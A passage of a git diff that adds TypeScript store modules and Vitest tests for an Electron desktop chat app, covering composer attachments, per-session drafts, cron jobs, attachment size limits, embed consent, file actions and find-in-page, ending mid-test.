+    const updated = updateComposerAttachment(attachment({ id: 'file:a', attachedSessionId: 'sess-1' }))
+
+    expect(updated).toBe(true)
+    const current = $composerAttachments.get()
+    expect(current).toHaveLength(1)
+    expect(current[0]?.attachedSessionId).toBe('sess-1')
+    expect(current[0]?.uploadState).toBeUndefined()
+  })
+
+  it('does NOT resurrect an attachment the user removed mid-upload', () => {
+    // Drop → eager upload starts → user removes the chip → upload resolves.
+    // The late success must not re-add the removed attachment.
+    addComposerAttachment(attachment({ id: 'file:a', uploadState: 'uploading' }))
+    removeComposerAttachment('file:a')
+
+    const updated = updateComposerAttachment(attachment({ id: 'file:a', attachedSessionId: 'sess-1' }))
+
+    expect(updated).toBe(false)
+    expect($composerAttachments.get()).toHaveLength(0)
+  })
+})
+
+describe('session drafts', () => {
+  afterEach(() => {
+    for (const scope of ['session-a', 'session-b', null]) {
+      clearSessionDraft(scope)
+    }
+
+    window.localStorage.clear()
+  })
+
+  it('keeps drafts isolated per session scope', () => {
+    stashSessionDraft('session-a', 'draft a', [])
+    stashSessionDraft('session-b', 'draft b', [attachment({ id: 'image:b', kind: 'image' })])
+
+    expect(takeSessionDraft('session-a')).toEqual({ attachments: [], text: 'draft a' })
+    expect(takeSessionDraft('session-b').text).toBe('draft b')
+    expect(takeSessionDraft('session-b').attachments.map(a => a.id)).toEqual(['image:b'])
+  })
+
+  it('scopes the unsaved new-session draft separately from real sessions', () => {
+    stashSessionDraft(null, 'new chat draft', [])
+    stashSessionDraft('session-a', 'session draft', [])
+
+    expect(takeSessionDraft(null).text).toBe('new chat draft')
+    expect(takeSessionDraft(undefined).text).toBe('new chat draft')
+    expect(takeSessionDraft('session-a').text).toBe('session draft')
+  })
+
+  it('persists draft text (not attachments) to localStorage', () => {
+    stashSessionDraft('session-a', 'survives reload', [attachment({ id: 'file:a' })])
+
+    const persisted = JSON.parse(window.localStorage.getItem(SESSION_DRAFTS_STORAGE_KEY) ?? '{}') as Record<
+      string,
+      string
+    >
+
+    expect(persisted['session-a']).toBe('survives reload')
+  })
+
+  it('evicts empty drafts instead of leaving stale entries behind', () => {
+    stashSessionDraft('session-a', 'saved', [])
+    stashSessionDraft('session-a', '   ', [])
+
+    expect(takeSessionDraft('session-a')).toEqual({ attachments: [], text: '' })
+  })
+
+  it('clears a stashed draft after an accepted submit', () => {
+    stashSessionDraft('session-a', 'sent prompt', [attachment({ id: 'file:a' })])
+    clearSessionDraft('session-a')
+
+    expect(takeSessionDraft('session-a')).toEqual({ attachments: [], text: '' })
+  })
+
+  it('returns clones so callers cannot mutate the stash', () => {
+    stashSessionDraft('session-a', 'draft', [attachment({ id: 'file:a' })])
+
+    const taken = takeSessionDraft('session-a')
+    taken.attachments[0]!.label = 'mutated'
+
+    expect(takeSessionDraft('session-a').attachments[0]?.label).toBe('doc.pdf')
+  })
+
+  it('migrates a tip-keyed draft onto the post-compression tip', () => {
+    const tipBefore = '20260720_062637_ad96b3'
+    const tipAfter = '20260720_071049_a28905'
+
+    stashSessionDraft(tipBefore, 'half typed while thinking', [])
+
+    expect(migrateSessionDraft(tipBefore, tipAfter)).toBe(true)
+    expect(takeSessionDraft(tipAfter).text).toBe('half typed while thinking')
+    expect(takeSessionDraft(tipBefore).text).toBe('')
+
+    clearSessionDraft(tipAfter)
+  })
+
+  it('does not overwrite a non-empty destination draft during migration', () => {
+    stashSessionDraft('from', 'old tip draft', [])
+    stashSessionDraft('to', 'already typed on new tip', [])
+
+    expect(migrateSessionDraft('from', 'to')).toBe(false)
+    expect(takeSessionDraft('to').text).toBe('already typed on new tip')
+    expect(takeSessionDraft('from').text).toBe('old tip draft')
+
+    clearSessionDraft('from')
+    clearSessionDraft('to')
+  })
+})
diff --git a/ui-desktop/src/store/composer.ts b/ui-desktop/src/store/composer.ts
new file mode 100644
index 000000000..9e91ef241
--- /dev/null
+++ b/ui-desktop/src/store/composer.ts
@@ -0,0 +1,386 @@
+import { atom } from 'nanostores'
+
+import { triggerHaptic } from '@/lib/haptics'
+
+export interface ComposerAttachment {
+  id: string
+  kind: 'image' | 'file' | 'folder' | 'terminal' | 'url'
+  label: string
+  detail?: string
+  refText?: string
+  previewUrl?: string
+  path?: string
+  attachedSessionId?: string
+  /** Set while the file/image bytes are being staged into the session
+   * workspace (remote upload or local stage), and 'error' if that failed.
+   * Drives the spinner / error state on the composer attachment card. */
+  uploadState?: 'uploading' | 'error'
+}
+
+export const $composerDraft = atom('')
+export const $composerAttachments = atom<ComposerAttachment[]>([])
+export const $composerTerminalSelections = atom<Record<string, string>>({})
+
+// Latched because opening a fresh session may remount the main composer before
+// it can start voice. Session-tile composers deliberately never consume this.
+export const $voiceConversationStartRequest = atom(0)
+let nextVoiceStartRequest = 0
+let handledVoiceStartRequest = 0
+
+export const requestVoiceConversationStart = (): void => $voiceConversationStartRequest.set(++nextVoiceStartRequest)
+
+export const takeVoiceConversationStart = (current: number): boolean => {
+  if (current <= handledVoiceStartRequest) {
+    return false
+  }
+
+  handledVoiceStartRequest = current
+
+  return true
+}
+
+// ---------------------------------------------------------------------------
+// Composer scopes — one live attachment set PER MOUNTED COMPOSER. The main
+// chat's scope wraps the module-level atom above (all existing readers keep
+// working); each session tile creates its own so two composers on screen
+// never share chips. Draft text needs no scope: it lives in each ChatBar's
+// DOM + draftRef and stashes per session key already.
+// ---------------------------------------------------------------------------
+
+export interface ComposerAttachmentScope {
+  $attachments: ReturnType<typeof atom<ComposerAttachment[]>>
+  add(attachment: ComposerAttachment): void
+  clear(): void
+  remove(id: string): ComposerAttachment | null
+  setUploadState(id: string, uploadState?: ComposerAttachment['uploadState']): void
+  update(attachment: ComposerAttachment): boolean
+}
+
+export function createComposerAttachmentScope($attachments = atom<ComposerAttachment[]>([])): ComposerAttachmentScope {
+  return {
+    $attachments,
+    add(attachment) {
+      const previous = $attachments.get()
+      const next = upsertAttachment(previous, attachment)
+      $attachments.set(next)
+
+      if (next.length > previous.length && attachment.kind !== 'url') {
+        triggerHaptic('selection')
+      }
+    },
+    clear() {
+      $attachments.set([])
+    },
+    remove(id) {
+      const current = $attachments.get()
+      const removed = current.find(attachment => attachment.id === id) || null
+      $attachments.set(current.filter(attachment => attachment.id !== id))
+
+      return removed
+    },
+    setUploadState(id, uploadState) {
+      const current = $attachments.get()
+      const index = current.findIndex(attachment => attachment.id === id)
+
+      if (index < 0) {
+        return
+      }
+
+      const next = [...current]
+      next[index] = { ...next[index]!, uploadState }
+      $attachments.set(next)
+    },
+    update(attachment) {
+      const current = $attachments.get()
+      const index = current.findIndex(item => item.id === attachment.id)
+
+      if (index < 0) {
+        return false
+      }
+
+      const next = [...current]
+      next[index] = attachment
+      $attachments.set(next)
+
+      return true
+    }
+  }
+}
+
+/** The main chat's scope — the module-level atom, so every existing
+ *  `$composerAttachments` reader/writer IS this scope. */
+export const mainComposerScope = createComposerAttachmentScope($composerAttachments)
+
+// Per-thread draft stash for the decoupled composer. Session lifecycle never
+// touches this — only ChatBar's scope swap reads/writes it. Text mirrors to
+// localStorage; attachments are memory-only (blobs, upload state).
+export const SESSION_DRAFTS_STORAGE_KEY = 'clawcodex:composer-drafts:v3'
+
+const NEW_SESSION_DRAFT_KEY = '__new__'
+const MAX_PERSISTED_DRAFTS = 50
+const EMPTY_SESSION_DRAFT: SessionDraft = { attachments: [], text: '' }
+
+export interface SessionDraft {
+  attachments: ComposerAttachment[]
+  text: string
+}
+
+const draftKey = (scope: string | null | undefined) => scope?.trim() || NEW_SESSION_DRAFT_KEY
+
+const cloneDraft = (draft: SessionDraft): SessionDraft => ({
+  attachments: draft.attachments.map(attachment => ({ ...attachment })),
+  text: draft.text
+})
+
+function loadPersistedDraftTexts(): [string, SessionDraft][] {
+  try {
+    const raw = window.localStorage.getItem(SESSION_DRAFTS_STORAGE_KEY)
+
+    if (!raw) {
+      return []
+    }
+
+    return Object.entries(JSON.parse(raw) as Record<string, string>).map(([key, text]) => [
+      key,
+      { attachments: [], text }
+    ])
+  } catch {
+    return []
+  }
+}
+
+const draftsBySession = new Map<string, SessionDraft>(loadPersistedDraftTexts())
+
+function persistDraftTexts() {
+  try {
+    const entries = [...draftsBySession]
+      .filter(([, draft]) => draft.text)
+      .slice(-MAX_PERSISTED_DRAFTS)
+      .map(([key, draft]) => [key, draft.text] as const)
+
+    if (entries.length === 0) {
+      window.localStorage.removeItem(SESSION_DRAFTS_STORAGE_KEY)
+    } else {
+      window.localStorage.setItem(SESSION_DRAFTS_STORAGE_KEY, JSON.stringify(Object.fromEntries(entries)))
+    }
+  } catch {
+    // Best-effort only — quota/private-mode must never break typing.
+  }
+}
+
+export function stashSessionDraft(scope: string | null | undefined, text: string, attachments: ComposerAttachment[]) {
+  const key = draftKey(scope)
+
+  // Delete-then-set keeps MRU order for MAX_PERSISTED_DRAFTS eviction.
+  draftsBySession.delete(key)
+
+  if (text.trim() || attachments.length > 0) {
+    draftsBySession.set(key, cloneDraft({ attachments, text }))
+  }
+
+  persistDraftTexts()
+}
+
+export function takeSessionDraft(scope: string | null | undefined): SessionDraft {
+  const stashed = draftsBySession.get(draftKey(scope))
+
+  return stashed ? cloneDraft(stashed) : EMPTY_SESSION_DRAFT
+}
+
+export const clearSessionDraft = (scope: string | null | undefined) => stashSessionDraft(scope, '', [])
+
+/**
+ * Move a stashed composer draft from one session key onto another.
+ *
+ * Auto-compression rotates the live stored tip id (root → continuation) while
+ * the user may still be typing. Drafts keyed on the obsolete tip would otherwise
+ * vanish from the composer when selection follows the new tip. No-op unless both
+ * keys resolve, differ, and the source has content. Does not overwrite a
+ * non-empty destination draft.
+ */
+export function migrateSessionDraft(fromKey: string | null | undefined, toKey: string | null | undefined): boolean {
+  const from = draftKey(fromKey)
+  const to = draftKey(toKey)
+
+  if (!fromKey || !toKey || from === to) {
+    return false
+  }
+
+  const source = draftsBySession.get(from)
+
+  if (!source || (!source.text.trim() && source.attachments.length === 0)) {
+    return false
+  }
+
+  const dest = draftsBySession.get(to)
+
+  if (dest && (dest.text.trim() || dest.attachments.length > 0)) {
+    return false
+  }
+
+  stashSessionDraft(toKey, source.text, source.attachments)
+  clearSessionDraft(fromKey)
+
+  return true
+}
+
+export function setComposerDraft(value: string) {
+  $composerDraft.set(value)
+}
+
+export function appendComposerDraft(value: string) {
+  const text = value.trim()
+
+  if (!text) {
+    return
+  }
+
+  const current = $composerDraft.get()
+  const separator = current && !current.endsWith('\n') ? '\n\n' : ''
+
+  $composerDraft.set(`${current}${separator}${text}`)
+}
+
+export function appendComposerInline(value: string) {
+  const text = value.trim()
+
+  if (!text) {
+    return
+  }
+
+  const current = $composerDraft.get().trimEnd()
+  const separator = current ? ' ' : ''
+
+  $composerDraft.set(`${current}${separator}${text}`)
+}
+
+export function clearComposerDraft() {
+  $composerDraft.set('')
+}
+
+// Main-scope conveniences — the names the app has always used.
+export const addComposerAttachment = (attachment: ComposerAttachment) => mainComposerScope.add(attachment)
+export const removeComposerAttachment = (id: string) => mainComposerScope.remove(id)
+
+/** Replace an existing attachment in place by id. No-op (returns false) when the
+ * id is gone — e.g. the user removed the chip while an eager upload was still in
+ * flight, so a late success must NOT resurrect it. Use this instead of
+ * addComposerAttachment for async results that may land after a removal. */
+export const updateComposerAttachment = (attachment: ComposerAttachment) => mainComposerScope.update(attachment)
+
+export const clearComposerAttachments = () => mainComposerScope.clear()
+
+/** Update only the upload state of an existing attachment (no-op if it's gone,
+ * e.g. the user removed it mid-upload). Pass `undefined` to clear it. */
+export const setComposerAttachmentUploadState = (id: string, uploadState?: ComposerAttachment['uploadState']) =>
+  mainComposerScope.setUploadState(id, uploadState)
+
+const TERMINAL_REF_RE = /@terminal:(`[^`\n]+`|"[^"\n]+"|'[^'\n]+'|\S+)/g
+
+function unquoteRefValue(raw: string) {
+  const head = raw[0]
+  const tail = raw[raw.length - 1]
+  const quoted = (head === '`' && tail === '`') || (head === '"' && tail === '"') || (head === "'" && tail === "'")
+
+  return (quoted ? raw.slice(1, -1) : raw).replace(/[,.;!?]+$/, '').trim()
+}
+
+function terminalLabelsFromDraft(draft: string) {
+  const labels: string[] = []
+  const seen = new Set<string>()
+
+  for (const match of draft.matchAll(TERMINAL_REF_RE)) {
+    const label = unquoteRefValue(match[1] || '')
+
+    if (!label || seen.has(label)) {
+      continue
+    }
+
+    seen.add(label)
+    labels.push(label)
+  }
+
+  return labels
+}
+
+export function setComposerTerminalSelection(label: string, text: string) {
+  const nextLabel = label.trim()
+  const nextText = text.trim()
+
+  if (!nextLabel || !nextText) {
+    return
+  }
+
+  const current = $composerTerminalSelections.get()
+
+  if (current[nextLabel] === nextText) {
+    return
+  }
+
+  $composerTerminalSelections.set({
+    ...current,
+    [nextLabel]: nextText
+  })
+}
+
+export function reconcileComposerTerminalSelections(draft: string) {
+  const current = $composerTerminalSelections.get()
+  const labels = new Set(terminalLabelsFromDraft(draft))
+  let changed = false
+  const next: Record<string, string> = {}
+
+  for (const [label, text] of Object.entries(current)) {
+    if (!labels.has(label)) {
+      changed = true
+
+      continue
+    }
+
+    next[label] = text
+  }
+
+  if (changed) {
+    $composerTerminalSelections.set(next)
+  }
+}
+
+export function terminalContextBlocksFromDraft(draft: string) {
+  const labels = terminalLabelsFromDraft(draft)
+
+  if (labels.length === 0) {
+    return []
+  }
+
+  const selections = $composerTerminalSelections.get()
+
+  return labels.flatMap(label => {
+    const text = selections[label]?.trim()
+
+    if (!text) {
+      return []
+    }
+
+    return `\`\`\`terminal\n${text}\n\`\`\``
+  })
+}
+
+export function clearComposerTerminalSelections() {
+  if (Object.keys($composerTerminalSelections.get()).length === 0) {
+    return
+  }
+
+  $composerTerminalSelections.set({})
+}
+
+function upsertAttachment(attachments: ComposerAttachment[], attachment: ComposerAttachment) {
+  const index = attachments.findIndex(item => item.id === attachment.id)
+
+  if (index < 0) {
+    return [...attachments, attachment]
+  }
+
+  const next = [...attachments]
+  next[index] = attachment
+
+  return next
+}
diff --git a/ui-desktop/src/store/cron.ts b/ui-desktop/src/store/cron.ts
new file mode 100644
index 000000000..67adbd078
--- /dev/null
+++ b/ui-desktop/src/store/cron.ts
@@ -0,0 +1,19 @@
+import { atom } from 'nanostores'
+
+import type { CronJob } from '@/types/clawcodex'
+
+// Cron *jobs* (not run sessions) power the sidebar "Cron jobs" section. Listing
+// the job — schedule, state, live next-run countdown — makes the job the
+// first-class entity; its runs (sessions) resolve under it in the cron detail.
+export const $cronJobs = atom<CronJob[]>([])
+export const setCronJobs = (jobs: CronJob[]) => $cronJobs.set(jobs)
+
+// In-place edit so the cron overlay's mutations (create/edit/delete/pause/…)
+// land in the same atom the sidebar renders — no stale list until the next poll.
+export const updateCronJobs = (fn: (jobs: CronJob[]) => CronJob[]) => $cronJobs.set(fn($cronJobs.get()))
+
+// One-shot focus target: clicking "Manage" on a job sets this, then opens the
+// cron overlay, which reads it once to select + scroll to that job. Cleared
+// after consumption so re-opening cron normally doesn't re-focus a stale job.
+export const $cronFocusJobId = atom<null | string>(null)
+export const setCronFocusJobId = (id: null | string) => $cronFocusJobId.set(id)
diff --git a/ui-desktop/src/store/data-url-read-max.test.ts b/ui-desktop/src/store/data-url-read-max.test.ts
new file mode 100644
index 000000000..e59496e57
--- /dev/null
+++ b/ui-desktop/src/store/data-url-read-max.test.ts
@@ -0,0 +1,63 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import {
+  $dataUrlReadMaxMb,
+  clampDataUrlReadMaxMb,
+  DATA_URL_READ_DEFAULT_MAX_MB,
+  refreshDataUrlReadMaxMb,
+  setDataUrlReadMaxMb
+} from './data-url-read-max'
+
+const desktopWindow = window as unknown as { clawcodexDesktop?: Window['clawcodexDesktop'] }
+const initialClawCodexDesktop = desktopWindow.clawcodexDesktop
+
+const get = vi.fn(async () => ({ defaultMaxMb: 16, maxBytes: 16 * 1024 * 1024, maxMb: 16 }))
+
+const set = vi.fn(async (maxMb: number) => ({
+  defaultMaxMb: 16,
+  maxBytes: maxMb * 1024 * 1024,
+  maxMb
+}))
+
+beforeEach(() => {
+  desktopWindow.clawcodexDesktop = { dataUrlReadMax: { get, set } } as unknown as Window['clawcodexDesktop']
+  $dataUrlReadMaxMb.set(DATA_URL_READ_DEFAULT_MAX_MB)
+  get.mockClear()
+  set.mockClear()
+})
+
+afterEach(() => {
+  desktopWindow.clawcodexDesktop = initialClawCodexDesktop
+})
+
+describe('clampDataUrlReadMaxMb', () => {
+  it('defaults invalid input and clamps only the safety range', () => {
+    expect(clampDataUrlReadMaxMb(undefined)).toBe(16)
+    expect(clampDataUrlReadMaxMb(0)).toBe(1)
+    expect(clampDataUrlReadMaxMb(100)).toBe(100)
+    expect(clampDataUrlReadMaxMb(99999)).toBe(4096)
+    expect(clampDataUrlReadMaxMb(32.4)).toBe(32)
+  })
+})
+
+describe('data-url-read-max store', () => {
+  it('loads the main-process value into the atom', async () => {
+    get.mockResolvedValueOnce({ defaultMaxMb: 16, maxBytes: 32 * 1024 * 1024, maxMb: 32 })
+
+    await expect(refreshDataUrlReadMaxMb()).resolves.toBe(32)
+    expect($dataUrlReadMaxMb.get()).toBe(32)
+  })
+
+  it('writes through the bridge and updates the atom', async () => {
+    await expect(setDataUrlReadMaxMb(48)).resolves.toBe(48)
+    expect(set).toHaveBeenCalledWith(48)
+    expect($dataUrlReadMaxMb.get()).toBe(48)
+  })
+
+  it('keeps the last known-good value when the bridge write fails', async () => {
+    set.mockRejectedValueOnce(new Error('boom'))
+
+    await expect(setDataUrlReadMaxMb(48)).resolves.toBe(16)
+    expect($dataUrlReadMaxMb.get()).toBe(16)
+  })
+})
diff --git a/ui-desktop/src/store/data-url-read-max.ts b/ui-desktop/src/store/data-url-read-max.ts
new file mode 100644
index 000000000..f01293b90
--- /dev/null
+++ b/ui-desktop/src/store/data-url-read-max.ts
@@ -0,0 +1,76 @@
+/**
+ * Max size for local files Desktop loads as data URLs (composer attach, image
+ * previews, etc.). Main owns the real cap + its JSON under userData — this
+ * atom only mirrors it for Settings → Chat. See electron/main.ts
+ * (`clawcodex:data-url-read-max:*`) and the default/clamp in electron/hardening.ts.
+ */
+
+import { atom } from 'nanostores'
+
+import { notifyError } from '@/store/notifications'
+
+/** Ship default; must match DATA_URL_READ_DEFAULT_MAX_MB in hardening.ts. */
+export const DATA_URL_READ_DEFAULT_MAX_MB = 16
+export const DATA_URL_READ_MIN_MAX_MB = 1
+/** Typo / absurd-value guard only — large values can still OOM the app. */
+export const DATA_URL_READ_MAX_MAX_MB = 4096
+
+export function clampDataUrlReadMaxMb(value: unknown): number {
+  const parsed = Number(value)
+
+  if (!Number.isFinite(parsed)) {
+    return DATA_URL_READ_DEFAULT_MAX_MB
+  }
+
+  return Math.min(DATA_URL_READ_MAX_MAX_MB, Math.max(DATA_URL_READ_MIN_MAX_MB, Math.round(parsed)))
+}
+
+export const $dataUrlReadMaxMb = atom<number>(DATA_URL_READ_DEFAULT_MAX_MB)
+
+export async function refreshDataUrlReadMaxMb(): Promise<number> {
+  const api = window.clawcodexDesktop?.dataUrlReadMax
+
+  if (!api) {
+    return $dataUrlReadMaxMb.get()
+  }
+
+  try {
+    const result = await api.get()
+    const maxMb = clampDataUrlReadMaxMb(result.maxMb)
+    $dataUrlReadMaxMb.set(maxMb)
+
+    return maxMb
+  } catch {
+    return $dataUrlReadMaxMb.get()
+  }
+}
+
+export async function setDataUrlReadMaxMb(maxMb: number): Promise<number> {
+  const next = clampDataUrlReadMaxMb(maxMb)
+  const api = window.clawcodexDesktop?.dataUrlReadMax
+
+  if (!api) {
+    $dataUrlReadMaxMb.set(next)
+
+    return next
+  }
+
+  try {
+    const result = await api.set(next)
+    const applied = clampDataUrlReadMaxMb(result.maxMb)
+    $dataUrlReadMaxMb.set(applied)
+
+    return applied
+  } catch (error) {
+    // Leave the atom at the last known-good value and surface the failure —
+    // an optimistic set here would show a cap that was never persisted and
+    // silently reverts on restart.
+    notifyError(error, 'Could not save the max attachment size')
+
+    return $dataUrlReadMaxMb.get()
+  }
+}
+
+if (typeof window !== 'undefined' && window.clawcodexDesktop?.dataUrlReadMax) {
+  void refreshDataUrlReadMaxMb()
+}
diff --git a/ui-desktop/src/store/embed-consent.ts b/ui-desktop/src/store/embed-consent.ts
new file mode 100644
index 000000000..bf3b94396
--- /dev/null
+++ b/ui-desktop/src/store/embed-consent.ts
@@ -0,0 +1,37 @@
+import { type Codec, Codecs, persistentAtom } from '@/lib/persisted'
+
+// Privacy gate for inline embeds. Loading an embed reaches out to a third party
+// (IP, referrer, cookies), so by default we render a placeholder until the user
+// consents — per embed ("Load once") or per service ("Always allow YouTube").
+// Mirrors the tool-approval model, but purely client-side (the renderer is what
+// makes the request) so it never touches the gateway/config.yaml.
+export type EmbedMode = 'always' | 'ask' | 'off'
+
+const MODE_KEY = 'clawcodex.desktop.embed-mode'
+const ALLOWED_KEY = 'clawcodex.desktop.embed-allowed'
+
+const modeCodec: Codec<EmbedMode> = {
+  decode: raw => (raw === 'always' || raw === 'off' ? raw : 'ask'),
+  encode: value => value
+}
+
+/** Global default: ask (placeholder), always (auto-load), off (plain link). */
+export const $embedMode = persistentAtom<EmbedMode>(MODE_KEY, 'ask', modeCodec)
+/** Providers granted a standing "always allow" (e.g. `youtube`, `twitter`). */
+export const $embedAllowed = persistentAtom<string[]>(ALLOWED_KEY, [], Codecs.stringArray)
+
+export function allowProvider(provider: string) {
+  const current = $embedAllowed.get()
+
+  if (!current.includes(provider)) {
+    $embedAllowed.set([...current, provider])
+  }
+}
+
+export function setEmbedMode(mode: EmbedMode) {
+  $embedMode.set(mode)
+}
+
+export function clearEmbedAllowed() {
+  $embedAllowed.set([])
+}
diff --git a/ui-desktop/src/store/file-actions.ts b/ui-desktop/src/store/file-actions.ts
new file mode 100644
index 000000000..55f2b0fac
--- /dev/null
+++ b/ui-desktop/src/store/file-actions.ts
@@ -0,0 +1,89 @@
+import { atom } from 'nanostores'
+
+import { translateNow } from '@/i18n'
+import { copyTextToClipboard, renameDesktopPath, revealDesktopPath, trashDesktopPath } from '@/lib/desktop-fs'
+import { notify, notifyError } from '@/store/notifications'
+import { notifyWorkspaceChanged } from '@/store/workspace-events'
+
+// Shared file-row actions for BOTH trees (the file browser + the review/git
+// tree): reveal, copy path, rename, delete. Rename/delete route through a single
+// dialog set (driven by this atom, rendered once by `FileActionDialogs`) instead
+// of one dialog per row. After a successful mutation we bump the workspace tick
+// so every git-/fs-mirroring surface refreshes.
+
+export interface FileActionTarget {
+  isDirectory: boolean
+  /** Display name (basename) shown in dialogs. */
+  name: string
+  /** Absolute path on disk. */
+  path: string
+}
+
+// Delete routes through a single confirm dialog (rendered once). Rename is
+// INLINE (VS Code style — an input in the row), driven by `$renamingPath`.
+export type FileActionDialog = { kind: 'delete' } & FileActionTarget
+
+export const $fileActionDialog = atom<FileActionDialog | null>(null)
+
+export function requestFileDelete(target: FileActionTarget): void {
+  $fileActionDialog.set({ kind: 'delete', ...target })
+}
+
+export function closeFileActionDialog(): void {
+  $fileActionDialog.set(null)
+}
+
+// Absolute path of the row currently being renamed inline, or null. A row whose
+// path matches renders an edit input in place of its label; F2 / Enter (on a
+// focused row) and the context-menu "Rename" all set this.
+export const $renamingPath = atom<null | string>(null)
+
+export function beginInlineRename(path: string): void {
+  $renamingPath.set(path)
+}
+
+export function cancelInlineRename(): void {
+  $renamingPath.set(null)
+}
+
+// ── Direct (no-dialog) actions ───────────────────────────────────────────────
+
+export async function revealFile(path: string): Promise<void> {
+  try {
+    await revealDesktopPath(path)
+  } catch (error) {
+    notifyError(error, translateNow('errors.genericFailure'))
+  }
+}
+
+export async function copyFilePath(path: string): Promise<void> {
+  try {
+    await copyTextToClipboard(path)
+    notify({ durationMs: 1500, kind: 'info', message: translateNow('fileMenu.pathCopied') })
+  } catch (error) {
+    notifyError(error, translateNow('common.copyFailed'))
+  }
+}
+
+/** Strip a `relativeTo` prefix to produce a repo/cwd-relative path. */
+export function toRelativePath(path: string, relativeTo: string): string {
+  const base = relativeTo.replace(/[\\/]+$/, '')
+
+  if (path === base) {
+    return path
+  }
+
+  return path.startsWith(`${base}/`) || path.startsWith(`${base}\\`) ? path.slice(base.length + 1) : path
+}
+
+// ── Dialog-confirmed mutations (called by FileActionDialogs) ──────────────────
+
+export async function executeFileRename(path: string, newName: string): Promise<void> {
+  await renameDesktopPath(path, newName)
+  notifyWorkspaceChanged()
+}
+
+export async function executeFileDelete(path: string): Promise<void> {
+  await trashDesktopPath(path)
+  notifyWorkspaceChanged()
+}
diff --git a/ui-desktop/src/store/find-in-page.ts b/ui-desktop/src/store/find-in-page.ts
new file mode 100644
index 000000000..2151b447f
--- /dev/null
+++ b/ui-desktop/src/store/find-in-page.ts
@@ -0,0 +1,130 @@
+import { atom } from 'nanostores'
+
+export interface FindInPageState {
+  active: boolean
+  query: string
+  matchOrdinal: number
+  matchCount: number
+}
+
+const EMPTY: FindInPageState = { active: false, query: '', matchOrdinal: 0, matchCount: 0 }
+
+export const $findInPage = atom<FindInPageState>({ ...EMPTY })
+
+export function openFindBar(): void {
+  $findInPage.set({ ...EMPTY, active: true })
+}
+
+export function closeFindBar(): void {
+  // Already closed: don't re-issue stopFindInPage. Escape is a shared gesture
+  // (the switcher and dialogs claim it too), so a stray second close must not
+  // reach into Electron again.
+  if (!$findInPage.get().active) {
+    return
+  }
+
+  $findInPage.set({ ...EMPTY })
+  // Clears both the search and the native highlight/selection in the page.
+  void window.clawcodexDesktop?.stopFindInPage()
+}
+
+export function setFindQuery(query: string): void {
+  const prev = $findInPage.get()
+
+  // Never search for a closed bar. The component clears its debounce on
+  // close, but a timer that already fired (or any late caller) must not
+  // re-issue a find and re-highlight the page after the user pressed Escape.
+  if (!prev.active) {
+    return
+  }
+
+  if (!query) {
+    $findInPage.set({ ...prev, query: '', matchOrdinal: 0, matchCount: 0 })
+    void window.clawcodexDesktop?.stopFindInPage()
+
+    return
+  }
+
+  $findInPage.set({ ...prev, query })
+  void window.clawcodexDesktop?.findInPage(query, { forward: true, findNext: false })
+}
+
+export function findNext(): void {
+  const { query } = $findInPage.get()
+
+  if (query) {
+    void window.clawcodexDesktop?.findInPage(query, { forward: true, findNext: true })
+  }
+}
+
+export function findPrevious(): void {
+  const { query } = $findInPage.get()
+
+  if (query) {
+    void window.clawcodexDesktop?.findInPage(query, { forward: false, findNext: true })
+  }
+}
+
+/** Called by the preload bridge when `found-in-page` fires on webContents. */
+export function updateFindResults(activeMatch: number, count: number): void {
+  const prev = $findInPage.get()
+  $findInPage.set({ ...prev, matchOrdinal: activeMatch, matchCount: count })
+}
+
+// The found-in-page subscription is process-wide, not per-mount: the FindBar
+// lives in the global overlay set and the shell remounts it on a connection
+// re-home (soft switch) while route changes keep it alive. Refcount the single
+// bridge listener so a remount cannot stack duplicate subscriptions — every
+// stacked listener would re-dispatch the same result and, worse, outlive its
+// component.
+let listenerRefs = 0
+let detachListener: (() => void) | undefined
+
+/**
+ * Subscribe to `found-in-page` results. Returns a release fn; the underlying
+ * bridge listener is installed on the first subscriber and removed when the
+ * last one releases. Safe to call from an effect with a `[]` dep list.
+ */
+export function initFindInPageListener(): () => void {
+  listenerRefs += 1
+
+  if (listenerRefs === 1) {
+    detachListener = window.clawcodexDesktop?.onFoundInPage?.(result => {
+      updateFindResults(result.activeMatchOrdinal, result.count)
+    })
+  }
+
+  let released = false
+
+  return () => {
+    // Guard double-release: React can invoke a cleanup once, but a caller
+    // holding the fn shouldn't be able to drive the refcount negative.
+    if (released) {
+      return
+    }
+
+    released = true
+    listenerRefs -= 1
+
+    if (listenerRefs === 0) {
+      detachListener?.()
+      detachListener = undefined
+    }
+  }
+}
+
+/** Test seam: number of live bridge subscriptions (0 or 1 in practice). */
+export function findInPageListenerCount(): number {
+  return listenerRefs
+}
+
+/**
+ * Test seam: force-detach the bridge listener and zero the refcount.
+ * Production code never calls this — tests use it so one case's leaked
+ * subscription can't bleed into the next.
+ */
+export function resetFindInPageListenerForTest(): void {
+  detachListener?.()
+  detachListener = undefined
+  listenerRefs = 0
+}
diff --git a/ui-desktop/src/store/gateway-switch.test.ts b/ui-desktop/src/store/gateway-switch.test.ts
new file mode 100644
index 000000000..93f004834
--- /dev/null
+++ b/ui-desktop/src/store/gateway-switch.test.ts
@@ -0,0 +1,61 @@
+import { afterEach, beforeEach, describe, expect, it, vi } from 'vitest'
+
+import { $sessionsLimit, resetSessionsLimit, SIDEBAR_SESSIONS_PAGE_SIZE } from '@/store/layout'
+import {
+  $cronSessions,
+  $freshDraftReady,
+  $messagingSessions,
+  $sessionProfilesTruncated,
+  $sessions,
+  $sessionsLoading,
+  setCronSessions,
+  setFreshDraftReady,
+  setMessagingSessions,
+  setSessionProfilesTruncated,
+  setSessions,
+  setSessionsLoading
+} from '@/store/session'
+import { $stalledSessionIds } from '@/store/session-states'
+
+import { $gatewaySwitching, wipeSessionListsForGatewaySwitch } from './gateway-switch'
+
+vi.mock('@/lib/query-client', () => ({
+  invalidateProfileScopedQueries: vi.fn()
+}))
+
+describe('wipeSessionListsForGatewaySwitch', () => {
+  beforeEach(() => {
+    $gatewaySwitching.set(false)
+    setSessions([{ id: 's1', title: 'old', profile: 'default' } as never])
+    setSessionProfilesTruncated({ default: true })
+    setCronSessions([{ id: 'c1', title: 'cron', profile: 'default' } as never])
+    setMessagingSessions([{ id: 'm1', title: 'tg', profile: 'default' } as never])
+    $stalledSessionIds.set(['s1'])
+    setSessionsLoading(false)
+    setFreshDraftReady(false)
+    $sessionsLimit.set(SIDEBAR_SESSIONS_PAGE_SIZE * 3)
+  })
+
+  afterEach(() => {
+    resetSessionsLimit()
+    setSessions([])
+    setCronSessions([])
+    setMessagingSessions([])
+    $stalledSessionIds.set([])
+    setSessionsLoading(true)
